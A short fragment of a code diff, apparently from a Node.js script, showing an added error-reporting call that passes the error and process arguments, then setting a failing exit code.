+ reportError(String(err), process.argv);
2963
3171
  process.exitCode = 1;
2964
3172
  }
2965
3173
  }